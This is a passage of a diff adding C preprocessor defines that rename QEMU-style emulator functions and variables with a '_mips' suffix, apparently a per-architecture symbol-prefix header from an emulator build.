+#define memory_mapping_filter memory_mapping_filter_mips +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_mips +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_mips +#define memory_mapping_list_free memory_mapping_list_free_mips +#define memory_mapping_list_init memory_mapping_list_init_mips +#define memory_region_access_valid memory_region_access_valid_mips +#define memory_region_add_subregion memory_region_add_subregion_mips +#define memory_region_add_subregion_common memory_region_add_subregion_common_mips +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_mips +#define memory_region_big_endian memory_region_big_endian_mips +#define memory_region_clear_pending memory_region_clear_pending_mips +#define memory_region_del_subregion memory_region_del_subregion_mips +#define memory_region_destructor_alias memory_region_destructor_alias_mips +#define memory_region_destructor_none memory_region_destructor_none_mips +#define memory_region_destructor_ram memory_region_destructor_ram_mips +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_mips +#define memory_region_dispatch_read memory_region_dispatch_read_mips +#define memory_region_dispatch_read1 memory_region_dispatch_read1_mips +#define memory_region_dispatch_write memory_region_dispatch_write_mips +#define memory_region_escape_name memory_region_escape_name_mips +#define memory_region_finalize memory_region_finalize_mips +#define memory_region_find memory_region_find_mips +#define memory_region_get_addr memory_region_get_addr_mips +#define memory_region_get_alignment memory_region_get_alignment_mips +#define memory_region_get_container memory_region_get_container_mips +#define memory_region_get_fd memory_region_get_fd_mips +#define memory_region_get_may_overlap memory_region_get_may_overlap_mips +#define memory_region_get_priority memory_region_get_priority_mips +#define memory_region_get_ram_addr memory_region_get_ram_addr_mips +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_mips +#define memory_region_get_size memory_region_get_size_mips +#define memory_region_info memory_region_info_mips +#define memory_region_init memory_region_init_mips +#define memory_region_init_alias memory_region_init_alias_mips +#define memory_region_initfn memory_region_initfn_mips +#define memory_region_init_io memory_region_init_io_mips +#define memory_region_init_ram memory_region_init_ram_mips +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_mips +#define memory_region_init_reservation memory_region_init_reservation_mips +#define memory_region_is_iommu memory_region_is_iommu_mips +#define memory_region_is_logging memory_region_is_logging_mips +#define memory_region_is_mapped memory_region_is_mapped_mips +#define memory_region_is_ram memory_region_is_ram_mips +#define memory_region_is_rom memory_region_is_rom_mips +#define memory_region_is_romd memory_region_is_romd_mips +#define memory_region_is_skip_dump memory_region_is_skip_dump_mips +#define memory_region_is_unassigned memory_region_is_unassigned_mips +#define memory_region_name memory_region_name_mips +#define memory_region_need_escape memory_region_need_escape_mips +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_mips +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_mips +#define memory_region_present memory_region_present_mips +#define memory_region_read_accessor memory_region_read_accessor_mips +#define memory_region_readd_subregion memory_region_readd_subregion_mips +#define memory_region_ref memory_region_ref_mips +#define memory_region_resolve_container memory_region_resolve_container_mips +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_mips +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_mips +#define memory_region_set_address memory_region_set_address_mips +#define memory_region_set_alias_offset memory_region_set_alias_offset_mips +#define memory_region_set_enabled memory_region_set_enabled_mips +#define memory_region_set_readonly memory_region_set_readonly_mips +#define memory_region_set_skip_dump memory_region_set_skip_dump_mips +#define memory_region_size memory_region_size_mips +#define memory_region_to_address_space memory_region_to_address_space_mips +#define memory_region_transaction_begin memory_region_transaction_begin_mips +#define memory_region_transaction_commit memory_region_transaction_commit_mips +#define memory_region_unref memory_region_unref_mips +#define memory_region_update_container_subregions memory_region_update_container_subregions_mips +#define memory_region_write_accessor memory_region_write_accessor_mips +#define memory_region_wrong_endianness memory_region_wrong_endianness_mips +#define memory_try_enable_merging memory_try_enable_merging_mips +#define module_call_init module_call_init_mips +#define module_load module_load_mips +#define mpidr_cp_reginfo mpidr_cp_reginfo_mips +#define mpidr_read mpidr_read_mips +#define msr_mask msr_mask_mips +#define mul128By64To192 mul128By64To192_mips +#define mul128To256 mul128To256_mips +#define mul64To128 mul64To128_mips +#define muldiv64 muldiv64_mips +#define neon_2rm_is_float_op neon_2rm_is_float_op_mips +#define neon_2rm_sizes neon_2rm_sizes_mips +#define neon_3r_sizes neon_3r_sizes_mips +#define neon_get_scalar neon_get_scalar_mips +#define neon_load_reg neon_load_reg_mips +#define neon_load_reg64 neon_load_reg64_mips +#define neon_load_scratch neon_load_scratch_mips +#define neon_ls_element_type neon_ls_element_type_mips +#define neon_reg_offset neon_reg_offset_mips +#define neon_store_reg neon_store_reg_mips +#define neon_store_reg64 neon_store_reg64_mips +#define neon_store_scratch neon_store_scratch_mips +#define new_ldst_label new_ldst_label_mips +#define next_list next_list_mips +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_mips +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_mips +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_mips +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_mips +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_mips +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_mips +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_mips +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_mips +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_mips +#define not_v6_cp_reginfo not_v6_cp_reginfo_mips +#define not_v7_cp_reginfo not_v7_cp_reginfo_mips +#define not_v8_cp_reginfo not_v8_cp_reginfo_mips +#define object_child_foreach object_child_foreach_mips +#define object_class_foreach object_class_foreach_mips +#define object_class_foreach_tramp object_class_foreach_tramp_mips +#define object_class_get_list object_class_get_list_mips +#define object_class_get_list_tramp object_class_get_list_tramp_mips +#define object_class_get_parent object_class_get_parent_mips +#define object_deinit object_deinit_mips +#define object_dynamic_cast object_dynamic_cast_mips +#define object_finalize object_finalize_mips +#define object_finalize_child_property object_finalize_child_property_mips +#define object_get_child_property object_get_child_property_mips +#define object_get_link_property object_get_link_property_mips +#define object_get_root object_get_root_mips +#define object_initialize_with_type object_initialize_with_type_mips +#define object_init_with_type object_init_with_type_mips +#define object_instance_init object_instance_init_mips +#define object_new_with_type object_new_with_type_mips +#define object_post_init_with_type object_post_init_with_type_mips +#define object_property_add_alias object_property_add_alias_mips +#define object_property_add_link object_property_add_link_mips +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_mips +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_mips +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_mips +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_mips +#define object_property_allow_set_link object_property_allow_set_link_mips +#define object_property_del object_property_del_mips +#define object_property_del_all object_property_del_all_mips +#define object_property_find object_property_find_mips +#define object_property_get object_property_get_mips +#define object_property_get_bool object_property_get_bool_mips +#define object_property_get_int object_property_get_int_mips +#define object_property_get_link object_property_get_link_mips +#define object_property_get_qobject object_property_get_qobject_mips +#define object_property_get_str object_property_get_str_mips +#define object_property_get_type object_property_get_type_mips +#define object_property_is_child object_property_is_child_mips +#define object_property_set object_property_set_mips +#define object_property_set_description object_property_set_description_mips +#define object_property_set_link object_property_set_link_mips +#define object_property_set_qobject object_property_set_qobject_mips +#define object_release_link_property object_release_link_property_mips +#define object_resolve_abs_path object_resolve_abs_path_mips +#define object_resolve_child_property object_resolve_child_property_mips +#define object_resolve_link object_resolve_link_mips +#define object_resolve_link_property object_resolve_link_property_mips +#define object_resolve_partial_path object_resolve_partial_path_mips +#define object_resolve_path object_resolve_path_mips +#define object_resolve_path_component object_resolve_path_component_mips +#define object_resolve_path_type object_resolve_path_type_mips +#define object_set_link_property object_set_link_property_mips +#define object_unparent object_unparent_mips +#define omap_cachemaint_write omap_cachemaint_write_mips +#define omap_cp_reginfo omap_cp_reginfo_mips +#define omap_threadid_write omap_threadid_write_mips +#define omap_ticonfig_write omap_ticonfig_write_mips +#define omap_wfi_write omap_wfi_write_mips +#define op_bits op_bits_mips +#define open_modeflags open_modeflags_mips +#define op_to_mov op_to_mov_mips +#define op_to_movi op_to_movi_mips +#define output_type_enum output_type_enum_mips +#define packFloat128 packFloat128_mips +#define packFloat16 packFloat16_mips +#define packFloat32 packFloat32_mips +#define packFloat64 packFloat64_mips +#define packFloatx80 packFloatx80_mips +#define page_find page_find_mips +#define page_find_alloc page_find_alloc_mips +#define page_flush_tb page_flush_tb_mips +#define page_flush_tb_1 page_flush_tb_1_mips +#define page_init page_init_mips +#define page_size_init page_size_init_mips +#define par par_mips +#define parse_array parse_array_mips +#define parse_error parse_error_mips +#define parse_escape parse_escape_mips +#define parse_keyword parse_keyword_mips +#define parse_literal parse_literal_mips +#define parse_object parse_object_mips +#define parse_optional parse_optional_mips +#define parse_option_bool parse_option_bool_mips +#define parse_option_number parse_option_number_mips +#define parse_option_size parse_option_size_mips +#define parse_pair parse_pair_mips +#define parser_context_free parser_context_free_mips +#define parser_context_new parser_context_new_mips +#define parser_context_peek_token parser_context_peek_token_mips +#define parser_context_pop_token parser_context_pop_token_mips +#define parser_context_restore parser_context_restore_mips +#define parser_context_save parser_context_save_mips +#define parse_str parse_str_mips +#define parse_type_bool parse_type_bool_mips +#define parse_type_int parse_type_int_mips +#define parse_type_number parse_type_number_mips +#define parse_type_size parse_type_size_mips +#define parse_type_str parse_type_str_mips +#define parse_value parse_value_mips +#define par_write par_write_mips +#define patch_reloc patch_reloc_mips +#define phys_map_node_alloc phys_map_node_alloc_mips +#define phys_map_node_reserve phys_map_node_reserve_mips +#define phys_mem_alloc phys_mem_alloc_mips +#define phys_mem_set_alloc phys_mem_set_alloc_mips +#define phys_page_compact phys_page_compact_mips +#define phys_page_compact_all phys_page_compact_all_mips +#define phys_page_find phys_page_find_mips +#define phys_page_set phys_page_set_mips +#define phys_page_set_level phys_page_set_level_mips +#define phys_section_add phys_section_add_mips +#define phys_section_destroy phys_section_destroy_mips +#define phys_sections_free phys_sections_free_mips +#define pickNaN pickNaN_mips +#define pickNaNMulAdd pickNaNMulAdd_mips +#define pmccfiltr_write pmccfiltr_write_mips +#define pmccntr_read pmccntr_read_mips +#define pmccntr_sync pmccntr_sync_mips +#define pmccntr_write pmccntr_write_mips +#define pmccntr_write32 pmccntr_write32_mips +#define pmcntenclr_write pmcntenclr_write_mips +#define pmcntenset_write pmcntenset_write_mips +#define pmcr_write pmcr_write_mips +#define pmintenclr_write pmintenclr_write_mips +#define pmintenset_write pmintenset_write_mips +#define pmovsr_write pmovsr_write_mips +#define pmreg_access pmreg_access_mips +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_mips +#define pmsav5_data_ap_read pmsav5_data_ap_read_mips +#define pmsav5_data_ap_write pmsav5_data_ap_write_mips +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_mips +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_mips +#define pmuserenr_write pmuserenr_write_mips +#define pmxevtyper_write pmxevtyper_write_mips +#define print_type_bool print_type_bool_mips +#define print_type_int print_type_int_mips +#define print_type_number print_type_number_mips +#define print_type_size print_type_size_mips +#define print_type_str print_type_str_mips +#define propagateFloat128NaN propagateFloat128NaN_mips +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_mips +#define propagateFloat32NaN propagateFloat32NaN_mips +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_mips +#define propagateFloat64NaN propagateFloat64NaN_mips +#define propagateFloatx80NaN propagateFloatx80NaN_mips +#define property_get_alias property_get_alias_mips +#define property_get_bool property_get_bool_mips +#define property_get_str property_get_str_mips +#define property_get_uint16_ptr property_get_uint16_ptr_mips +#define property_get_uint32_ptr property_get_uint32_ptr_mips +#define property_get_uint64_ptr property_get_uint64_ptr_mips +#define property_get_uint8_ptr property_get_uint8_ptr_mips +#define property_release_alias property_release_alias_mips +#define property_release_bool property_release_bool_mips +#define property_release_str property_release_str_mips +#define property_resolve_alias property_resolve_alias_mips +#define property_set_alias property_set_alias_mips +#define property_set_bool property_set_bool_mips +#define property_set_str property_set_str_mips +#define pstate_read pstate_read_mips +#define pstate_write pstate_write_mips +#define pxa250_initfn pxa250_initfn_mips +#define pxa255_initfn pxa255_initfn_mips +#define pxa260_initfn pxa260_initfn_mips +#define pxa261_initfn pxa261_initfn_mips +#define pxa262_initfn pxa262_initfn_mips +#define pxa270a0_initfn pxa270a0_initfn_mips +#define pxa270a1_initfn pxa270a1_initfn_mips +#define pxa270b0_initfn pxa270b0_initfn_mips +#define pxa270b1_initfn pxa270b1_initfn_mips +#define pxa270c0_initfn pxa270c0_initfn_mips +#define pxa270c5_initfn pxa270c5_initfn_mips +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_mips +#define qapi_dealloc_end_list qapi_dealloc_end_list_mips +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_mips +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_mips +#define qapi_dealloc_next_list qapi_dealloc_next_list_mips +#define qapi_dealloc_pop qapi_dealloc_pop_mips +#define qapi_dealloc_push qapi_dealloc_push_mips +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_mips +#define qapi_dealloc_start_list qapi_dealloc_start_list_mips +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_mips +#define qapi_dealloc_start_union qapi_dealloc_start_union_mips +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_mips +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_mips +#define qapi_dealloc_type_int qapi_dealloc_type_int_mips +#define qapi_dealloc_type_number qapi_dealloc_type_number_mips +#define qapi_dealloc_type_size qapi_dealloc_type_size_mips +#define qapi_dealloc_type_str qapi_dealloc_type_str_mips +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_mips +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_mips +#define qapi_free_boolList qapi_free_boolList_mips +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_mips +#define qapi_free_int16List qapi_free_int16List_mips +#define qapi_free_int32List qapi_free_int32List_mips +#define qapi_free_int64List qapi_free_int64List_mips +#define qapi_free_int8List qapi_free_int8List_mips +#define qapi_free_intList qapi_free_intList_mips +#define qapi_free_numberList qapi_free_numberList_mips +#define qapi_free_strList qapi_free_strList_mips +#define qapi_free_uint16List qapi_free_uint16List_mips +#define qapi_free_uint32List qapi_free_uint32List_mips +#define qapi_free_uint64List qapi_free_uint64List_mips +#define qapi_free_uint8List qapi_free_uint8List_mips +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_mips +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_mips +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_mips +#define qbool_destroy_obj qbool_destroy_obj_mips +#define qbool_from_int qbool_from_int_mips +#define qbool_get_int qbool_get_int_mips +#define qbool_type qbool_type_mips +#define qbus_create qbus_create_mips +#define qbus_create_inplace qbus_create_inplace_mips +#define qbus_finalize qbus_finalize_mips +#define qbus_initfn qbus_initfn_mips +#define qbus_realize qbus_realize_mips +#define qdev_create qdev_create_mips +#define qdev_get_type qdev_get_type_mips +#define qdev_register_types qdev_register_types_mips +#define qdev_set_parent_bus qdev_set_parent_bus_mips +#define qdev_try_create qdev_try_create_mips +#define qdict_add_key qdict_add_key_mips +#define qdict_array_split qdict_array_split_mips +#define qdict_clone_shallow qdict_clone_shallow_mips +#define qdict_del qdict_del_mips +#define qdict_destroy_obj qdict_destroy_obj_mips +#define qdict_entry_key qdict_entry_key_mips +#define qdict_entry_value qdict_entry_value_mips +#define qdict_extract_subqdict qdict_extract_subqdict_mips +#define qdict_find qdict_find_mips +#define qdict_first qdict_first_mips +#define qdict_flatten qdict_flatten_mips +#define qdict_flatten_qdict qdict_flatten_qdict_mips +#define qdict_flatten_qlist qdict_flatten_qlist_mips +#define qdict_get qdict_get_mips +#define qdict_get_bool qdict_get_bool_mips +#define qdict_get_double qdict_get_double_mips +#define qdict_get_int qdict_get_int_mips +#define qdict_get_obj qdict_get_obj_mips +#define qdict_get_qdict qdict_get_qdict_mips +#define qdict_get_qlist qdict_get_qlist_mips +#define qdict_get_str qdict_get_str_mips +#define qdict_get_try_bool qdict_get_try_bool_mips +#define qdict_get_try_int qdict_get_try_int_mips +#define qdict_get_try_str qdict_get_try_str_mips +#define qdict_haskey qdict_haskey_mips +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_mips +#define qdict_iter qdict_iter_mips +#define qdict_join qdict_join_mips +#define qdict_new qdict_new_mips +#define qdict_next qdict_next_mips +#define qdict_next_entry qdict_next_entry_mips +#define qdict_put_obj qdict_put_obj_mips +#define qdict_size qdict_size_mips +#define qdict_type qdict_type_mips +#define qemu_clock_get_us qemu_clock_get_us_mips +#define qemu_clock_ptr qemu_clock_ptr_mips +#define qemu_clocks qemu_clocks_mips +#define qemu_get_cpu qemu_get_cpu_mips +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_mips +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_mips +#define qemu_get_ram_block qemu_get_ram_block_mips +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_mips +#define qemu_get_ram_fd qemu_get_ram_fd_mips +#define qemu_get_ram_ptr qemu_get_ram_ptr_mips +#define qemu_host_page_mask qemu_host_page_mask_mips +#define qemu_host_page_size qemu_host_page_size_mips +#define qemu_init_vcpu qemu_init_vcpu_mips +#define qemu_ld_helpers qemu_ld_helpers_mips +#define qemu_log_close qemu_log_close_mips +#define qemu_log_enabled qemu_log_enabled_mips +#define qemu_log_flush qemu_log_flush_mips +#define qemu_loglevel_mask qemu_loglevel_mask_mips +#define qemu_log_vprintf qemu_log_vprintf_mips +#define qemu_oom_check qemu_oom_check_mips +#define qemu_parse_fd qemu_parse_fd_mips +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_mips +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_mips +#define qemu_ram_alloc qemu_ram_alloc_mips +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_mips +#define qemu_ram_foreach_block qemu_ram_foreach_block_mips +#define qemu_ram_free qemu_ram_free_mips +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_mips +#define qemu_ram_ptr_length qemu_ram_ptr_length_mips +#define qemu_ram_remap qemu_ram_remap_mips +#define qemu_ram_setup_dump qemu_ram_setup_dump_mips +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_mips +#define qemu_real_host_page_size qemu_real_host_page_size_mips +#define qemu_st_helpers qemu_st_helpers_mips +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_mips +#define qemu_try_memalign qemu_try_memalign_mips +#define qentry_destroy qentry_destroy_mips +#define qerror_human qerror_human_mips +#define qerror_report qerror_report_mips +#define qerror_report_err qerror_report_err_mips +#define qfloat_destroy_obj qfloat_destroy_obj_mips +#define qfloat_from_double qfloat_from_double_mips +#define qfloat_get_double qfloat_get_double_mips +#define qfloat_type qfloat_type_mips +#define qint_destroy_obj qint_destroy_obj_mips +#define qint_from_int qint_from_int_mips +#define qint_get_int qint_get_int_mips +#define qint_type qint_type_mips +#define qlist_append_obj qlist_append_obj_mips +#define qlist_copy qlist_copy_mips +#define qlist_copy_elem qlist_copy_elem_mips +#define qlist_destroy_obj qlist_destroy_obj_mips +#define qlist_empty qlist_empty_mips +#define qlist_entry_obj qlist_entry_obj_mips +#define qlist_first qlist_first_mips +#define qlist_iter qlist_iter_mips +#define qlist_new qlist_new_mips +#define qlist_next qlist_next_mips +#define qlist_peek qlist_peek_mips +#define qlist_pop qlist_pop_mips +#define qlist_size qlist_size_mips +#define qlist_size_iter qlist_size_iter_mips +#define qlist_type qlist_type_mips +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_mips +#define qmp_input_end_list qmp_input_end_list_mips +#define qmp_input_end_struct qmp_input_end_struct_mips +#define qmp_input_get_next_type qmp_input_get_next_type_mips +#define qmp_input_get_object qmp_input_get_object_mips +#define qmp_input_get_visitor qmp_input_get_visitor_mips +#define qmp_input_next_list qmp_input_next_list_mips +#define qmp_input_optional qmp_input_optional_mips +#define qmp_input_pop qmp_input_pop_mips +#define qmp_input_push qmp_input_push_mips +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_mips +#define qmp_input_start_list qmp_input_start_list_mips +#define qmp_input_start_struct qmp_input_start_struct_mips +#define qmp_input_type_bool qmp_input_type_bool_mips +#define qmp_input_type_int qmp_input_type_int_mips +#define qmp_input_type_number qmp_input_type_number_mips +#define qmp_input_type_str qmp_input_type_str_mips +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_mips +#define qmp_input_visitor_new qmp_input_visitor_new_mips +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_mips +#define qmp_output_add_obj qmp_output_add_obj_mips +#define qmp_output_end_list qmp_output_end_list_mips +#define qmp_output_end_struct qmp_output_end_struct_mips +#define qmp_output_first qmp_output_first_mips +#define qmp_output_get_qobject qmp_output_get_qobject_mips +#define qmp_output_get_visitor qmp_output_get_visitor_mips +#define qmp_output_last qmp_output_last_mips +#define qmp_output_next_list qmp_output_next_list_mips +#define qmp_output_pop qmp_output_pop_mips +#define qmp_output_push_obj qmp_output_push_obj_mips +#define qmp_output_start_list qmp_output_start_list_mips +#define qmp_output_start_struct qmp_output_start_struct_mips +#define qmp_output_type_bool qmp_output_type_bool_mips +#define qmp_output_type_int qmp_output_type_int_mips +#define qmp_output_type_number qmp_output_type_number_mips +#define qmp_output_type_str qmp_output_type_str_mips +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_mips +#define qmp_output_visitor_new qmp_output_visitor_new_mips +#define qobject_decref qobject_decref_mips +#define qobject_to_qbool qobject_to_qbool_mips +#define qobject_to_qdict qobject_to_qdict_mips +#define qobject_to_qfloat qobject_to_qfloat_mips +#define qobject_to_qint qobject_to_qint_mips +#define qobject_to_qlist qobject_to_qlist_mips +#define qobject_to_qstring qobject_to_qstring_mips +#define qobject_type qobject_type_mips +#define qstring_append qstring_append_mips +#define qstring_append_chr qstring_append_chr_mips +#define qstring_append_int qstring_append_int_mips +#define qstring_destroy_obj qstring_destroy_obj_mips +#define qstring_from_escaped_str qstring_from_escaped_str_mips +#define qstring_from_str qstring_from_str_mips +#define qstring_from_substr qstring_from_substr_mips +#define qstring_get_length qstring_get_length_mips +#define qstring_get_str qstring_get_str_mips +#define qstring_new qstring_new_mips +#define qstring_type qstring_type_mips +#define ram_block_add ram_block_add_mips +#define ram_size ram_size_mips +#define range_compare range_compare_mips +#define range_covers_byte range_covers_byte_mips +#define range_get_last range_get_last_mips +#define range_merge range_merge_mips +#define ranges_can_merge ranges_can_merge_mips +#define raw_read raw_read_mips +#define raw_write raw_write_mips +#define rcon rcon_mips +#define read_raw_cp_reg read_raw_cp_reg_mips +#define recip_estimate recip_estimate_mips +#define recip_sqrt_estimate recip_sqrt_estimate_mips +#define register_cp_regs_for_features register_cp_regs_for_features_mips +#define register_multipage register_multipage_mips +#define register_subpage register_subpage_mips +#define register_tm_clones register_tm_clones_mips +#define register_types_object register_types_object_mips +#define regnames regnames_mips +#define render_memory_region render_memory_region_mips +#define reset_all_temps reset_all_temps_mips +#define reset_temp reset_temp_mips +#define rol32 rol32_mips +#define rol64 rol64_mips +#define ror32 ror32_mips +#define ror64 ror64_mips +#define roundAndPackFloat128 roundAndPackFloat128_mips +#define roundAndPackFloat16 roundAndPackFloat16_mips +#define roundAndPackFloat32 roundAndPackFloat32_mips +#define roundAndPackFloat64 roundAndPackFloat64_mips +#define roundAndPackFloatx80 roundAndPackFloatx80_mips +#define roundAndPackInt32 roundAndPackInt32_mips +#define roundAndPackInt64 roundAndPackInt64_mips +#define roundAndPackUint64 roundAndPackUint64_mips +#define round_to_inf round_to_inf_mips +#define run_on_cpu run_on_cpu_mips +#define s0 s0_mips +#define S0 S0_mips +#define s1 s1_mips +#define S1 S1_mips +#define sa1100_initfn sa1100_initfn_mips +#define sa1110_initfn sa1110_initfn_mips +#define save_globals save_globals_mips +#define scr_write scr_write_mips +#define sctlr_write sctlr_write_mips +#define set_bit set_bit_mips +#define set_bits set_bits_mips +#define set_default_nan_mode set_default_nan_mode_mips +#define set_feature set_feature_mips +#define set_float_detect_tininess set_float_detect_tininess_mips +#define set_float_exception_flags set_float_exception_flags_mips +#define set_float_rounding_mode set_float_rounding_mode_mips +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_mips +#define set_flush_to_zero set_flush_to_zero_mips +#define set_swi_errno set_swi_errno_mips +#define sextract32 sextract32_mips +#define sextract64 sextract64_mips +#define shift128ExtraRightJamming shift128ExtraRightJamming_mips +#define shift128Right shift128Right_mips +#define shift128RightJamming shift128RightJamming_mips +#define shift32RightJamming shift32RightJamming_mips +#define shift64ExtraRightJamming shift64ExtraRightJamming_mips +#define shift64RightJamming shift64RightJamming_mips +#define shifter_out_im shifter_out_im_mips +#define shortShift128Left shortShift128Left_mips +#define shortShift192Left shortShift192Left_mips +#define simple_mpu_ap_bits simple_mpu_ap_bits_mips +#define size_code_gen_buffer size_code_gen_buffer_mips +#define softmmu_lock_user softmmu_lock_user_mips +#define softmmu_lock_user_string softmmu_lock_user_string_mips +#define softmmu_tget32 softmmu_tget32_mips +#define softmmu_tget8 softmmu_tget8_mips +#define softmmu_tput32 softmmu_tput32_mips +#define softmmu_unlock_user softmmu_unlock_user_mips +#define sort_constraints sort_constraints_mips +#define sp_el0_access sp_el0_access_mips +#define spsel_read spsel_read_mips +#define spsel_write spsel_write_mips +#define start_list start_list_mips +#define stb_p stb_p_mips +#define stb_phys stb_phys_mips +#define stl_be_p stl_be_p_mips +#define stl_be_phys stl_be_phys_mips +#define stl_he_p stl_he_p_mips +#define stl_le_p stl_le_p_mips +#define stl_le_phys stl_le_phys_mips +#define stl_phys stl_phys_mips +#define stl_phys_internal stl_phys_internal_mips +#define stl_phys_notdirty stl_phys_notdirty_mips +#define store_cpu_offset store_cpu_offset_mips +#define store_reg store_reg_mips +#define store_reg_bx store_reg_bx_mips +#define store_reg_from_load store_reg_from_load_mips +#define stq_be_p stq_be_p_mips +#define stq_be_phys stq_be_phys_mips +#define stq_he_p stq_he_p_mips +#define stq_le_p stq_le_p_mips +#define stq_le_phys stq_le_phys_mips +#define stq_phys stq_phys_mips +#define string_input_get_visitor string_input_get_visitor_mips +#define string_input_visitor_cleanup string_input_visitor_cleanup_mips +#define string_input_visitor_new string_input_visitor_new_mips +#define strongarm_cp_reginfo strongarm_cp_reginfo_mips +#define strstart strstart_mips +#define strtosz strtosz_mips +#define strtosz_suffix strtosz_suffix_mips +#define stw_be_p stw_be_p_mips +#define stw_be_phys stw_be_phys_mips +#define stw_he_p stw_he_p_mips +#define stw_le_p stw_le_p_mips +#define stw_le_phys stw_le_phys_mips +#define stw_phys stw_phys_mips +#define stw_phys_internal stw_phys_internal_mips +#define sub128 sub128_mips +#define sub16_sat sub16_sat_mips +#define sub16_usat sub16_usat_mips +#define sub192 sub192_mips +#define sub8_sat sub8_sat_mips +#define sub8_usat sub8_usat_mips +#define subFloat128Sigs subFloat128Sigs_mips +#define subFloat32Sigs subFloat32Sigs_mips +#define subFloat64Sigs subFloat64Sigs_mips +#define subFloatx80Sigs subFloatx80Sigs_mips +#define subpage_accepts subpage_accepts_mips +#define subpage_init subpage_init_mips +#define subpage_ops subpage_ops_mips +#define subpage_read subpage_read_mips +#define subpage_register subpage_register_mips +#define subpage_write subpage_write_mips +#define suffix_mul suffix_mul_mips +#define swap_commutative swap_commutative_mips +#define swap_commutative2 swap_commutative2_mips +#define switch_mode switch_mode_mips +#define switch_v7m_sp switch_v7m_sp_mips +#define syn_aa32_bkpt syn_aa32_bkpt_mips +#define syn_aa32_hvc syn_aa32_hvc_mips +#define syn_aa32_smc syn_aa32_smc_mips +#define syn_aa32_svc syn_aa32_svc_mips +#define syn_breakpoint syn_breakpoint_mips +#define sync_globals sync_globals_mips +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_mips +#define syn_cp14_rt_trap syn_cp14_rt_trap_mips +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_mips +#define syn_cp15_rt_trap syn_cp15_rt_trap_mips +#define syn_data_abort syn_data_abort_mips +#define syn_fp_access_trap syn_fp_access_trap_mips +#define syn_insn_abort syn_insn_abort_mips +#define syn_swstep syn_swstep_mips +#define syn_uncategorized syn_uncategorized_mips +#define syn_watchpoint syn_watchpoint_mips +#define syscall_err syscall_err_mips +#define system_bus_class_init system_bus_class_init_mips +#define system_bus_info system_bus_info_mips +#define t2ee_cp_reginfo t2ee_cp_reginfo_mips +#define table_logic_cc table_logic_cc_mips +#define target_parse_constraint target_parse_constraint_mips +#define target_words_bigendian target_words_bigendian_mips +#define tb_add_jump tb_add_jump_mips +#define tb_alloc tb_alloc_mips +#define tb_alloc_page tb_alloc_page_mips +#define tb_check_watchpoint tb_check_watchpoint_mips +#define tb_find_fast tb_find_fast_mips +#define tb_find_pc tb_find_pc_mips +#define tb_find_slow tb_find_slow_mips +#define tb_flush tb_flush_mips +#define tb_flush_jmp_cache tb_flush_jmp_cache_mips +#define tb_free tb_free_mips +#define tb_gen_code tb_gen_code_mips +#define tb_hash_remove tb_hash_remove_mips +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_mips +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_mips +#define tb_invalidate_phys_range tb_invalidate_phys_range_mips +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_mips +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_mips +#define tb_jmp_remove tb_jmp_remove_mips +#define tb_link_page tb_link_page_mips +#define tb_page_remove 